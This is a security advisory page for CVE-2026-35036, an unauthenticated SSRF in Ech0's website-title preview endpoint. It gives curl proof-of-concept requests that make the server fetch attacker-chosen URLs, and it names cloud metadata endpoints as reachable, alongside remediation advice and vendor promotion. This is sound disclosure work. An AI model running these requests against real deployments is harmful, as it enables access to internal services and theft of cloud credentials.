CVE-2026-35036 — ech0
HIGHCVE-2026-35036 is a high-severity (CVSS 7.5) Server-Side Request Forgery (SSRF) vulnerability in github.com/lin-snow/ech0. A fix is available for github.com/lin-snow/ech0 — see the affected versions and patch details below.
Ech0 Affected by Unauthenticated Server-Side Request Forgery in Website Preview Feature
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35036.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-35036 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/lin-snow/ech0Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Ech0 implements link preview (editor fetches a page title) through GET /api/website/title. That is legitimate product behavior, but the implementation is unsafe: the route is unauthenticated, accepts a fully attacker-controlled URL, performs a server-side GET, reads the entire response body into memory (io.ReadAll). There is no host allowlist, no SSRF filter, and InsecureSkipVerify: true on the outbound client.
Attacker outcome : Anyone who can reach the instance can force the Ech0 server to open HTTP/HTTPS URLs of their choice as seen from the server’s network position (Docker bridge, VPC, localhost from the process view).
Go’s default http.Client follows redirects (unless disabled). Redirect chains can move the server-side request from an allowed-looking host to an internal target; the code does not disable this in SendRequest.
Affected Components
Ech0 codebase:
-
internal/handler/common/common.go
Handles the/api/website/titleendpoint and accepts user-controlled URL input. -
internal/service/common/common.go
Processes the request and invokes the outbound HTTP fetch (GetWebsiteTitle). -
internal/util/http/http.go
Performs the HTTP request (SendRequest) with the following insecure configurations:- No URL validation or allowlist
- Redirects enabled (default client behavior)
InsecureSkipVerify: true
PoC
Environment: Ech0 listening on http://127.0.0.1:6277 (e.g. Docker image sn0wl1n/ech0:latest). No cookies or Authorization header.
Step 1 — baseline: unauthenticated server-side fetch (public URL):
curl.exe -sS -m 20 "http://127.0.0.1:6277/api/website/title?website_url=https://example.com"
Observed result (verified): HTTP 200, JSON with code: 1 and data Example Domain — proves the Ech0 process performed an outbound GET without any client auth.
Step 2 — impact: host-bound page + recorded leak (repo PoC file)
Committed PoC page: poc_ssrf_proof.html
- From
poc file directory, listen on 0.0.0.0 (port 9999):
python -m http.server 9999 --bind 0.0.0.0
- Docker Desktop (Windows / macOS): Ech0 in Docker fetches the host via
host.docker.internal:
curl.exe -sS -m 20 "http://127.0.0.1:6277/api/website/title?website_url=http://host.docker.internal:9999/poc_ssrf_proof.html"
Recorded response (verified this workspace, Ech0 4.2.2 in Docker):
{"code":1,"msg":"获取网站标题成功","data":"ECH0_SSRF_POC_LEAK_2026"}
Python server log: GET /poc_ssrf_proof.html → 200 (proves the server/container pulled the page from your host).
Leak channel: the backend reads the full HTML body before parsing (see io.ReadAll in SendRequest).
Impact
- Verified: Unauthenticated callers can make the Ech0 process issue server-side HTTP(S) requests to internal/reserved targets reachable from that process (PoC Step 2: host-reachable listener reflected in JSON).
- Code-level: The full response is read into memory (
io.ReadAll); only the title string is returned. Combined with default HTTP redirect following (standardhttp.Clientbehavior; not disabled here), the effective request graph is larger than a single URL. - TLS:
InsecureSkipVerify: truemeans misissued or intercepted TLS to internal HTTPS services is still accepted from the server’s perspective. - Deployment-dependent: Where routing allows (typical cloud VMs),
169.254.169.254-class endpoints are in scope for the same code path; treat as *high. - DOS(Denial of Service): reading the whole body into memory with io.ReadAll is a DoS vector if you point it at a massive file.
Remediation
- Enforce SSRF-safe URL policy: allow only needed schemes/hosts; block link-local, metadata, and loopback unless explicitly required.
- Remove
InsecureSkipVerify; use normal TLS verification. - Limit redirects (disable or cap hops; re-validate each target).
- Add response size / timeout limits; optionally restrict egress at the network layer.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/ech0 | all versions | 1.4.8-0.20260401031029-4ca56fea5ba4go get github.com/lin-snow/ech0@v1.4.8-0.20260401031029-4ca56fea5ba4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lin-snow/ech0 to 1.4.8-0.20260401031029-4ca56fea5ba4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35036 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-35036 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-35036. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-35036 in your dependencies?
O3 Security finds CVE-2026-35036 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.